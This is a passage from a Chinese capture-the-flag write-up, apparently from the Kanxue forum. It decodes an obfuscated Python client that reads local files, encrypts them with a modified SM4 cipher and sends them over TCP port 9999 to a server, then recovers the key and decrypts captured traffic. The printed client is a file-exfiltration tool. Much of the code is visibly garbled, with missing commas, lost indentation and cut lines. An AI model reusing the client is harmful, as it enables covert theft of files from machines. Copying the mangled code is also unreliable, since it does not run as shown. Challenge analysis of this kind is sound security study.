KAS)m!GBz?GB_K94DGFa|F*G1OAZ%f6Vq{@DASf|6AYLFiIVm73ASgC6G9V=&GdL*<UurQmAUz;#VQpe$VLBivGBP<JULZ0sH7Ot~ASg37IUpq<GBqg*UurQnAUz;#VQpe$VLBivF)=Y9ULZ3wDIhB#C^R!OASEC*FewUOYB4t;Js@mhZDM3$Iv^-CF(6(bF*GtMAS)m!H8C<EB_J{}DGCZ>Y+-YAAYV^nW-~W8HaZF*ARr)QWo95>UukY>bYEX6b7gF1DLM)uARr(hARr)fWo%|HUv?lpAU8EJ3LqdLAY^4`AYW}Lb7gF1DLM)uARr(hARr)eWps6NZXk1IY-TQBb|5MsH3|wNAun}vaxY?OZZBnSb|7$hbZBpGGYSf6ZE$aLbRctYV{2t}3TbU{Z*p`XYIARH3TbU{Z*p`XZ*vN1ZE$aLbRctia|&r~aBp&SAZTH8Xl!X>3TbU{Z*p`XbZKp63JP<1b1raUbZ9PVZgXXFbSN+^Aa8RnaA9<4E@WwPZeeX@C~tEvaA9<4E@WwPZeeX@C~tEvaA9<4E@5JGaA9<4C|_S@X>4U*UnwamDGF(AaBp&SAY*cQaCBc|Z*pY{3JPOvVRLgJLv?d>Z*4+hb7eL(Itm~lARt3kQ&dk)UqMVzNI^nHR3JSdUvFh7A~-xeLQHRKF;#L>eP2>OGB<ftZEbTgWNKAOCVMD1OmlldaBVwdKxIl%Sz19Ya#TolG;nWyVRtn(IZHxeRd+vYNN_|#R%d8(S0hVOaw04sI5R9DGBGqPATc*73LqdLAX8L9PDDXcL|;KnP)I>SMN}X?ASenTARr(hARr)LZ)GSVFlK6dWM)cFUqeqpKV>O5ZZuv^Z$2hIGgMw)S5z@VSyx4IM^tWFSSd3}Hb#7YLwa?2BSBeYa87U}N-au$VmnqvYd1kzbXIg&HDh{xA}k;{Gb|u7F*Gb7F*hj+ARr(hDGDGUARt9fLr+9SUsORtOhq6)AaitbE^T3JWpr|3ZgVJ8R6$NeK~h9tK}=9cK|)1TEFeQwQ&dk)UqMVzNI^nHR4ED|ARr(_MMF<SMPF1wLQF*<Js@**axQIQYh`qDVQzCMLse5$PfcGzOi)NcLPb<8AX8L9PDDXcL|;KnP)I>SMN}yY3LqdLAV6bmVRLhBWprq7WC|c4ARuIAW*}r`V{c?-C}V7MEFffIbYVImb98bkAT2&1VtI6Bb2<tjARr(hARr)VZE$aLbRc43b7eL(3JM?~ARr(hARu#eWM5)7G$1`7WMOn+E_8BXZgXs5bY&=GY;!I|MMF<SMPF1wLQF*|3LqdLARr(hAaZ4Nb#iVXVqtS-HZ(3`HZ){qV{c?-D06gVUt%^iDGCY-Q$<o%MN(f#Pg7JNJs=_?3R6W=Rz*@@P)|}+AUz;CIXO8BOGQ~<LN+uYJs@9iWhf#;H%&oxaAadObW%c1AvH2<b~IOQaDGT^Wne)xPBmb3KQ(SoVp%Ipel}2gHFso2DtSFcBzjSHA$VFMEFd^DEFdy5G%O%7Hz^8BMOh#{AVYO?bZ>1!VRL0RG%jRiV{c?-C`(0IUqUuCDGEkOOhr>)R8L=1MNUK@Js?|OZ)GSVNiA@FMs`yvaWG|VL?SF8I5R9DGBGqPATc*7EFfQRWhf#-C@n%tUpzuKPa-TJI5R9DGBGqPATc*7EFfQRWhf#;Bu#iybXqw%du44zA}k;{Gb|u7F*Gb7F*hk)3JMBjWo95>Z*XC8b!A_4a&=`WDLM)uARr)LcpyC>FbW_bARuOMav)!6AZczOa$#;~WhgN)Fey3;ARr(hARr(hUw9xZJs@9cASxgzUuhsMAYW-9D<Cl`3LqdLAaZ4Nb#iVXUw9xsJs>a&3JPRpW*}d0aA9$EWnX4tY;$EODLM)uARr)LVJskDVjw*rH7p=E3LqdLAaZ4Nb#iVXC|_Y9Dj;8CDIh&PAShpAASxhVVIV6YF)0cP3S?zwAYWu<VPs!pVQgb4DLM)uARr)LWMyGwAUz;33LqdLAZBlJAYW-9X>K5LVQyz-C^axCItm~lARr(hARu34Wnp9>Js>DwWMyGwAS)nWX(=EjATc)zARr(hARr(hX=Wf_WMyGwAU+^5Ffcj_ARr(hARr(hARr(hUu0!rWFS2tUu0!rWFRUaG9W7;F$y3cARuyObairWAYWu<VPpyl3S?zwAZ2c2a(QrcUuJ1+WhiT9c{(6sd30rSEFf@fVQFr3Wq5QtAYyrRWpgPYEj}P(d30rSItm~lARu3JbYXO5AUz;33LqdLAYXE2b9HQVAUz;XZ*FA@ARr(hcW7yBWguU3bYXO5AUq&5Itm~lARr(hARuXGAYXHIVRU66Jv|^WItm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYXE2b9HQVAUz;sa(QrcUt@1_WiDlIV{c?-Uu0o)VJL8HVQFr3Wq5QfAZulLTRJf|T`3A6ARr(hARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARu34WnpArV_|G#C@BgcARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARuLIX=Wf_b97;JWgtC0ATl}%ARr(hARr(hARr(hX=Wf_Z*XC8b!A^>VQh0{C@DG$ARr(hARr(hARr(hARr(hUvg!0b!>DXJs?hRZe<D}ARr(hARr(hARr)Lb97;JWgtBuGYTLeARuyObairWAYXE2b9HQV3JMBjWo96AWo~3&b7^j8Y-L|&X>4UEb8lm7EFflSY-Mg?ZDlMVaBN{|ZggdMbSXLtARr(hUvnTmATSCbARr)LV{{-rAWm;?WeOl5ARu3GY#==#PH%2y3LqdLAa`hKY-J!{b09n*H986)ARr(hARr)VW*}d4AU!=GFggk#ARr(hARr(hARr)LV{{-rAZ2c2a(QrcUuJ1+WhhHUSu7xMY+-3`bY*ySDGDGUARr(hARr(hARu3JAUz;43LqdLARr(hAZ2W6W*}d4AU!=GF**t$ARr(hARr(hARr)LaBLtwAbVeLWhf#-CO$Gsc64=MDIzQ&I5R9DGBGqPATc*7Iv{3gY-Mg?ZDlMVUvFh7B10oBW>#=*J7X<nZA2n0AUHEDATlvDEFdvADLNouV{|TPWq2qleF`8TARr(hARr(hARu3JAUz;53LqdLARr(hAZ2W6W*}d4AU!=GGCB$%ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu#ZV{0yRWo~3)Y-}iMb8l`gWOZ$Db0}YMY$+~fZewp`Whh^7Whf#`W>9u?J9{E5AUHEDATlvDEFdvADJdW;AYvk1ZXziPARr(hARr(hARr(hARr(hUvnTmAT$afARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYWu<VPs!pVQgb4DGDGUARr(hARr(hARr(hARu3JAUz;63LqdLARr(hAZ2W6W*}d4AU!=GGdc<&ARr(hARr(hARr)LWMyGwUt?ixV<;&KARr(hARr(hARr(hUvnTmAT$afARr(hARr)RY-wg7UvnTmJs>nX3LqdLARr(hARr(hAZcbGZf|rTUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAarSMWiE4UWo2+EFfK7E3LqdLARr(hARr(hAYXGJJs>p-3JPRpW*}d7WpZg|d0%5~WGG{8WGOldARr(hUvqR}bY&ntATclsARr(hUua=-XkT_=Y#==#PH%2y3LqdLAYXQ2Y-wa5Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tH845~ARr(hARr(hX=Wf_b97;JWgtC0ATcmH3LqdLARr(hARr(hAZcbGY-MgJV{K$9AU+^4Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT&7&ARr(hARr(hWo&6?AYXHIVRU66Jv|^YFggk#ARr(hARr(hARr)LXkl|`Uv^<^AUz;xVRL9~X<{yIWHl&bZDcNGZewp`Whf~rE@)+VWNBw*b95*v3LqdLARr(hARr(hAYXHIVRU66Js>kM3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGcY;|ARr(hARr(hARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr(hARr(hARr)Lc42I3WFS2tUua=-XkT_=Y#=>7AYX4~C?Zx@OEf)kM|E*oLU>C*b5>VuLU%k;S1?{eG;uj5Rzf>+WjruUGF2ihAUHEDATlvDEFdvADGDGUARr(hARr(hARr(hARu3JbYXO5AUz;7FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG%z{}ARr(hARr(hARr(hX=Wf_c42I3WI75UARr(hARr(hARr(hARr)Lb97;JWgtBuH82VwARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG&wp7ARr(hARr(hARr(ha%FUNa&90-VQh0{3JM?~ARuyObairWAYXQ2Y-wZ)3JPRpW*}c@WprP2WpZ|9a$jg~b95+Sa%XcXItm~lARu3JAUz;4Ffa-rARr)LXm4|LAUz;XZ*FA@3LqdLAa`hKY-J!{b09n*GB7YY3LqdLARr(hAZcbGUvnTmJs>eKFggk#ARr(hARr(hARr)VW*}^3ZYW`LXLBhaJ|HqW3LqdLARr(hARr(hARr(hAYXGJJs>eLFbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvnTmATcs93LqdLARr(hAZ2W6W*}d4AU!=GF)=VY3LqdLARr(hARr(hAYW*2b95j*AYpQ6b6YZ93LqdLARr(hARr(hAYXGJJs>hLFbW_bARr(hARuLIX=Wf_b09rEATcs9Itm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AR;0PARr(hARr(hARr(hUvnTmATls83LqdLARr(hAZ2W6W*}d4AU!=GGB7YY3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AYX4~C?Z*Rb8US)SZF?GL`EVkAUHEDATlvDEFdvADGDGUARr(hARr(hARu3JAUz;5Ffj@WARr(ha%FUNa&91BXm4|L3JMBjWo964VQFqCDLM)uARr)Lb97;JWgtBuFbW_bARu3JZ)0m9Js?hRZe<D}ARr)LX=HdHJs>a&ARr(hUvP41Zggd2Uub1vWMy(7Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tF)%PX3LqdLARr(hAZcbGUvqR}bY&ntJs>bT3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVGD0$BZC^)BL2_6)A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARuXGAZ%rBD06vpE@5(Kb}1k{ATl}%ARr(hARr(hARr(hARr(hUvqR}bY&ntAT<ggARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>g)ARr(hARr(hWo&6?AYXHIVRU66Jv|^YItm~lARr(hARr(hARuXGAYXQ6a%pCHUt?`#D06vpE@5(Kc3UxBDLM)uARr(hARr(hARr(hARr)Lb97;JWgtBuGYTLeARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT$afARr(hARr)RY-wg7UvqR}bY&ntJs>kW3LqdLARr(hARr(hAZcbGZf|rTUvP41Zggd2Uub1vWMy(X3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVI7>HdIeKVda#LAjQCd$odp2!Td22gnI7TF6K{P`-U|v&sL^Vb!A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAYX8DX>N37WM61yVPs`;AUz;da&=`2ARr(hARr(hARr(hUvqR}bY&ntATclsARr(hARr(hWo&6?AYXHIVRU66Jv|^aItm~lARr(hARr(hARusZX>N2VBI%Tw=&!Huyqe~hpyri`=bD7&k-g-*q#`K_ARr(hARr(hARr(hUvqR}bY&ntAUQb-ARr(hARr(hWo&6?AYXHIVRU66Jv|^bItm~lARr(hARr(hARusZX>N2VBIlH-=ChUWyqa)%bZBpGAY*K4Wo~pXaCsm+V{dJ3VQyqTAX`&KQdUJ$Ur0|=R9zw|3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)%s`ARr(hARr(hARr(hbaHt*3LqdLARr(hARr(hARr(hAYXHDV{0HiAaieHYh`pUb8lm7WppTWZ)0m^bS^<gUrA0yR4gEKZ)0m^bS_g*LrY&%R8mDjO(_Z>ARr(hARr(hARr(hARr)Lb97;JWgtBuF)<1tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>i3LqdLARr(hARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)=y{ARr(hARr(hARr(hUubW0bRaz-UuR`>Uvp)0c4cy3Xm4|LD06vpE@5(Kb}0%VARr(hARr(hARr)Lb97;JWgtBuF)|7uARr(hARr)RY-wg7UvqR}bY&ntJs>eMItm~lARr(hARr(hARu&dc{&OpARr(hARr(hARr(hARr)Lb8lm7E@N+QZe?S1C@5cOZ*z1kAX7zBRz*@@P)|}+DJcpdARr(hARr(hARr(hARr)Lb97;JWgtBuGB64tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>IVRIm5Itm~lARr(hARr(hARr(hARusZX>N2VW+Gc5T_EVcp5~6F<)pFbw59L7ntNq^A}I<WARr(hARr(hARr(hARr)Lb97;JWgtBuIXMa-ARr(hARr)RY-wg7UvqR}bY&ntJs>hLItm~lARr(hARr(hARuXGAYW-@cpy9=Y-MgJMoCOXQ(sh1UsFX+L@7E7ARr(hARr(hARr(hARr(hUvqR}bY&ntATluuARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;6FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATlvJ3LqdLARr(hARr(hAYW!~VQpm~Js?I&Ohr>)R8L=1MNULpUuk4`T?!x|ARr(hARr(hARu3JbYXO5AUz;5G72CdARr(hARuLIX=Wf_b97;JWgtC0ATlyK3LqdLARr(hARr(hAZcbGZ*wkiVRUFNWq4_GbaN<QW^Q3^WhpueARr(hARr(hARr(hARr(hUvqR}bY&ntATl!wARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5I0_&jARr(hARuLIX=Wf_b97;JWgtC0ATl#L3LqdLARr(hARr(hAa`kWXdrKJWo{^6W^Q3^Wh@{fa$+JWAYpSLUuHTAARr(hARr(hARr(hARr(hUu0o)VIVyqUuG_HWnp9}DGDGUARr(hARr(hARu3JbYXO5AUz;5GzuUfARr(hARuLIX=Wf_b97;JWgtC0ATl&M3LqdLARr(hARr(hAZcbGUvF?>adl;1baHiNC@DG$ARr(hARr(hARr(hARr(haB^vGbSP#bTPj^3<&Tl+fPv<ghvd7qA}I<WARr(hARr(hARr)Lb97;JWgtBuGBpYyARr(hARr)RY-wg7UvqR}bY&ntJs>hQItm~lARr(hARr(hARuXGAZ~ATAYX5AVR3b3UuI!!b7d$gItm~lARr(hARr(hARr(hARu#PZe(9`X>Mn1WnX4#Y-K24b8lm7EFfQIZeeX@EFfQGVRT_B3LqdLARr(hARr(hAYXHIVRU66Js>hR3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGB!F2ARr(hARr(hARr(hUuk4`AS*o}F$y3cARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATl^Q3LqdLARr(hARr(hAaHVNZgePSB3mt8Am)~b<h!=yxQ*qlnB|<PA}I<WARr(hARr(hARr)Lb97;JWgtBuGC2w$ARr(hARr)RY-wg7UvqR}bY&ntJs>hUItm~lARr(hARr(hARu39WOyJeJs>d(ARr(hARr(hARr(hUvqR}bY&ntATlrtARr(hARr(hWo&6?AYXHIVRU66Jv|^ZFggk#ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu&UZDlTVY-MF|C@?NEDGDGUARr(hARr(hARu3JbYXO5AUz;6F$y3cARr(hARuLIX=Wf_b97;JWgtC0ATu#K3LqdLARr(hARr(hAZcbGUvqC`YdQ)bARr(hARr(hARr(hARr)Lb8lm7E@NzOb7d$g3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GIXOBCARr(hARr(hARr(hVsd3+YYGYqX=Wf_Uv6P-WnW()Jv|^_Z)GSVG%{y7X>?&qK0_ibAUHEDATlvDEFdvADLM)uARr)LWMyGwUt?ixV<;&KARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr)ZVQFqCDGDGUARuLIb7eXTARr(hARr(hUu0!rWM5-pY-1=X3I'
data=base64.b85decode(cipher).decode()
print(data)

得到如下逻辑:

_j0 = lambda:(30 ^ 126) + (520 % 26)
_j1 = lambda:(158 ^ 184) + (820 % 54)
_j2 = lambda:(37 ^ 2) + (687 % 25)
_j3 = lambda:(72 ^ 112) + (474 % 30)
_j4 = lambda:(173 ^ 82) + (257 % 73)
_j5 = lambda:(117 ^ 203) + (331 % 54)
_j6 = lambda:(242 ^ 46) + (846 % 33)
_j7 = lambda:(21 ^ 148) + (425 % 77)
_j8 = lambda:(139 ^ 134) + (427 % 21)
_j9 = lambda:(245 ^ 62) + (413 % 85)
_j10 = lambda:(242 ^ 65) + (892 % 30)
_j11 = lambda:(22 ^ 58) + (740 % 59)
_j12 = lambda:(139 ^ 248) + (771 % 74)
_j13 = lambda:(219 ^ 230) + (262 % 63)
_j14 = lambda:(17 ^ 89) + (622 % 38)
_j15 = lambda:(229 ^ 205) + (369 % 25)
_j16 = lambda:(111 ^ 33) + (433 % 50)
_j17 = lambda:(41 ^ 142) + (512 % 21)
class _Obf3776:
def __init__(self):
self._v = 751
def _m(self):
return self._v * 5
#!/usr/bin/env python3
import socket
import json
import os
import sys
import hashlib
import time
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import crypt_core
class CustomBase64:
CUSTOM_ALPHABET = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17)
STANDARD_ALPHABET = (
_oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17)
)
ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
@classmethod
def decode(cls, data:str) -> bytes:
import base64
std_b64 = data.translate(cls.DECODE_TABLE)
return base64.b64decode(std_b64)
SERVER_HOST = ""
SERVER_PORT = 9999
KEY_B64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)
KEY = CustomBase64.decode(KEY_B64)
FILES_TO_SEND = [_oe("I-p}FvS)q0emD"8321417)_oe("B(-BJ_<B6O"8321417)_oe("C$MxRtZ99{emD"8321417)]
def _opaque_true():
_x = 0
for _i in range(100):
_x += _i * (_i -_i + 1)
return _x >= 0
def _opaque_false():
_a_b = 57
return (_a * _b) == (_b * _a + 1)
def _dead_calc():
_dead = 0
for _i in range(50):
_dead = (_dead + _i) % 17
if _dead > 100:
_dead = _dead * 2 + 1
return _dead
def encrypt_file(key: bytesplaintext:bytes) -> bytes:
_state = 0
_result = None
while _state < 3:
if _state == 0:
if _opaque_true():
_result = crypt_core.encode_data(plaintextkey[:16])
_state = 2
else:
_dead_calc()
_state = 1
elif _state == 1:
_dead_calc()
_state = 2
elif _state == 2:
if _opaque_false():
_result = None
_state = 3
return _result
def send_single_file(sockfilenameplaintext):
_s = 0
_ct = None
_pl = None
while _s < 5:
if _s == 0:
_ct = encrypt_file(KEYplaintext)
_s = 1
elif _s == 1:
_pl = {_oe("B&>2Jvtu`)"8321417): filename_oe("C#-fVpm;c-emD"8321417): _ct.hex()}
_s = 2
elif _s == 2:
if _opaque_true():
sock.sendall(json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n")
_s = 4
else:
_dead_calc()
_s = 3
elif _s == 3:
_dead_calc()
_s = 4
elif _s == 4:
if not _opaque_false():
time.sleep(0.1)
_s = 5
def _verify_cmd(cmd):
_state = 10
_hash_val = None
_valid = False
while _state < 50:
if _state == 10:
if len(cmd) > 0:
_state = 20
else:
_state = 49
elif _state == 20:
_hash_val = hashlib.md5(cmd.encode()).hexdigest()
_state = 30
elif _state == 30:
if _opaque_true():
_valid = _hash_val == _oe("VWK4=qGuqYBxK?sVWlBw<RW0^B4q9&VB;re<0L2U"8321417)
_state = 40
else:
_dead_calc()
_state = 49
elif _state == 40:
if _valid:
_state = 50
else:
_state = 49
elif _state == 49:
return False
return _valid
def _get_server_host(args):
_s = 100
_host = None
while _s < 200:
if _s == 100:
if len(args) > 2:
_s = 110
else:
_s = 120
elif _s == 110:
_host = args[2]
_s = 200
elif _s == 120:
if _opaque_true():
_host = ""
_s = 200
elif _s == 200:
if _opaque_false():
_host = _oe("Ywsm};Xh>fDF"8321417)
_s = 201
return _host
def main():
_state = 0
_sock = None
_idx = 0
_printed_header = False
while _state < 100:
if _state == 0:
if _opaque_false():
print(_oe("2B2dm_GLArX8"8321417))
_state = 1
elif _state == 1:
if len(sys.argv) < 2:
_state = 5
else:
_state = 2
elif _state == 2:
if _verify_cmd(sys.argv[1]):
_state = 3
else:
_state = 4
elif _state == 3:
if not _printed_header:
print("=" * 50)
print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)"8321417))
print("=" * 50)
_printed_header = True
_state = 10
elif _state == 4:
print("错误:无效的命令")
_state = 99
elif _state == 5:
print("用法:python client.py <command> [SERVER_HOST]")
            _state = 99
        elif _state == 10:
            try:
                _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                _state = 11
            except Exception:
                _state = 99
        elif _state == 11:
            _host = _get_server_host(sys.argv)
            _state = 12
        elif _state == 12:
            try:
                _sock.connect((_host, SERVER_PORT))
                _state = 20
            except Exception as e:
                print(f"[!]连接失败:{e}")
                _state = 99
        elif _state == 20:
            if _idx < len(FILES_TO_SEND):
                _state = 21
            else:
                _state = 30
        elif _state == 21:
            _fname = FILES_TO_SEND[_idx]
            _state = 22
        elif _state == 22:
            if os.path.exists(_fname):
                _state = 23
            else:
                _state = 28
        elif _state == 23:
            with open(_fname, "rb") as _f:
_data = _f.read()
_state = 24
elif _state == 24:
if _opaque_true():
print(f"[*发送文件")
_state = 25
elif _state == 25:
if not _opaque_false():
send_single_file(_sock_fname_data)
_state = 26
elif _state == 26:
_idx += 1
_state = 20
elif _state == 28:
print(f"[-文件不存在")
_state = 29
elif _state == 29:
_idx += 1
_state = 20
elif _state == 30:
if _opaque_true():
time.sleep(0.2)
_state = 31
elif _state == 31:
if _sock:
_sock.close()
_state = 99
elif _state == 99:
break
if __name__ == _oe("42g9itaJ>C"8321417):
_dead_calc()
if _opaque_true():
main()
else:
_dead_calc()

我们先写脚本获取 key:passvkcDKWLAA45o

import base64
def _oe(d, k1, k2, rn):
    raw = base64.b85decode(d.encode())
    s = bytes(b ^ (k1, k2, rn)[i % 3] for i, b in enumerate(raw)).decode()
    out = []
    for c in s:
        if c.isalpha():
            base = ord("A") if c.isupper() else ord("a")
            out.append(chr((ord(c) - base - rn) % 26 + base))
        elif c.isdigit():
            out.append(str((int(c) - rn) % 10))
        else:
            out.append(c)
    return "".join(out)
custom = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr"8321417)
standard = _oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}"8321417)
key_b64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ"8321417)
key = base64.b64decode(key_b64.translate(str.maketrans(custom, standard)))
print(key.decode())
print(key[:16].decode())

分析代码后可以得知,加密逻辑在 crypt_core.so 里面,用 ida 打开 crypt_core.so

搜索 encode_data 字符串,我们可以找到 sub_9820(python 函数包装器):

进一步分析 sub_60B0,从这段代码中可以明显猜出是 SM4 的逻辑(图二为本地存的 SM4 脚本)

通过这段代码去找 S 盒,FK 和 CK 看看有没有更改参数:

经分析,0xAC10 为 S 盒起始,0xAD10 为 FK,0xAD20 为 CK

在流量包中寻找到 flag.txt 的密文

exp 如下:

from binascii import unhexlify
SBOX = bytes.fromhex(
"ECCA0EF308F02AA23B182B5C37BD12A8"
"05D3A1574F96FCF5A7141966589BBFB4"
"39D51E1A30BC6C80B7ED4106D91767CD"
"1D2CAE240313C65383110AF7C04DC49E"
"8D001FC33F359FCB729D166FACCE3C5E"
"A6E17B343632B895918952C1E7A33348"
"04CF10EB25BB8E0F816EB343458F49F8"
"4B59074ADEFDC8D0848BFBDADB28D43E"
"A42F56BEEF86C762EA76E9D674A56BF9"
"987D3A265AAF870D1B2EB2E36ACCF1FF"
"D7F61CC9E870204E233DC2AADC0BF25F"
"7AFA889747D10C02317FF4751593388A"
"429071DD73557EB55B294C9AE08CB0E5"
"642701DFAD2179949251697C22635085"
"2DE2404644A982B661D8D2B968ABB15D"
"655477A0C5BA609CE4FEEE99E6786D09"
)
FK = [
0x3B1F86A4,
0x83F7332D,
0x58ADBA8E,
0x71DC3F73,
]
CK = [
0x9A1487060x657904A40xB0535D2D0x865C7AA7,
0xF7FEF2D40xF09D3A8B0x67CB03900xF3B1D1AA,
0x1941EDE30xCDD556500x272AA6120x397B1DC6,
0x767AAB6B0x71A390440x8A77F5920x7B5A7907,
0x97D182510xCA1960CB0x44B541340x3F30C70A,
0x5EB36C720x5569E7160x51BF832C0xF13A95BC,
]
def rol32(x: int, n: int) -> int:
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))
def tau(x: int) -> int:
return (
        (SBOX[(x >> 24) & 0xFF] << 24)
        | (SBOX[(x >> 16) & 0xFF] << 16)
        | (SBOX[(x >> 8) & 0xFF] << 8)
        | SBOX[x & 0xFF]
    )
def T(x: int) -> int:
    b = tau(x & 0xFFFFFFFF)
return (b ^ rol32(b, 2) ^ rol32(b, 10) ^ rol32(b, 18) ^ rol32(b, 24)) & 0xFFFFFFFF
def Tp(x: int) -> int:
    b = tau(x & 0xFFFFFFFF)
return (b ^ rol32(b, 13) ^ rol32(b, 23)) & 0xFFFFFFFF
def expand_key(key16: bytes):
    mk = [int.from_bytes(key16[i:i + 4], "big"for i in range(0164)]
    K = [(mk[i] ^ FK[i]) & 0xFFFFFFFF for i in range(4)]
    rk = []
for i in range(24):
        v = (K[i] ^ Tp(K[i + 1] ^ K[i + 2] ^ K[i + 3] ^ CK[i])) & 0xFFFFFFFF
        K.append(v)
        rk.append(v)
return rk
def decrypt_block(block: bytes, rk):
    vals = [int.from_bytes(block[i:i + 4], "big"for i in range(0164)]
    finals = [0000]
    order = (3210)
for pos, idx in enumerate(order):
        finals[idx] = vals[pos]
    X = [0] * 28
    X[24:28] = finals
for i in range(23, -1, -1):
        X[i] = (X[i + 4] ^ T(X[i + 1] ^ X[i + 2] ^ X[i + 3] ^ rk[i])) & 0xFFFFFFFF
return b"".join(x.to_bytes(4"big"for x in X[0:4])
def pkcs7_unpad(data: bytes) -> bytes:
    pad = data[-1]
if pad < 1 or pad > 16 or data[-pad:] != bytes([pad]) * pad:
        raise ValueError("bad padding")
return data[:-pad]
def decrypt(ciphertext: bytes, key16: bytes) -> bytes:
if len(key16) != 16:
        raise ValueError("key must be 16 bytes")
if len(ciphertext) % 16 != 0:
        raise ValueError("ciphertext length must be multiple of 16")
    rk = expand_key(key16)
    out = b"".join(decrypt_block(ciphertext[i:i + 16], rk) for i in range(0, len(ciphertext)16))
return pkcs7_unpad(out)
if __name__ == "__main__":
    key = b"passvkcDKWLAA45o"
    ct_hex = "d0edd4a1620f6f01db93699e7291bc570b7d8cdd4fa0a69a0839ca4b86a7bd8daacd74313e64da169697af402033a761"
    pt = decrypt(unhexlify(ct_hex), key)
    print(pt.decode())

*本文为看雪论坛精华文章,由 Fulucky0原创,转载请注明来自看雪社区

图片

球分享

球点赞

球在看

点击阅读原文查看更多

阅读原文

跳转微信打开

原始链接: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458613072&idx=2&sn=e0fa3ab1339d921f9f92780339f12c1a
侵权请联系站方: [email protected]

相关推荐

换一批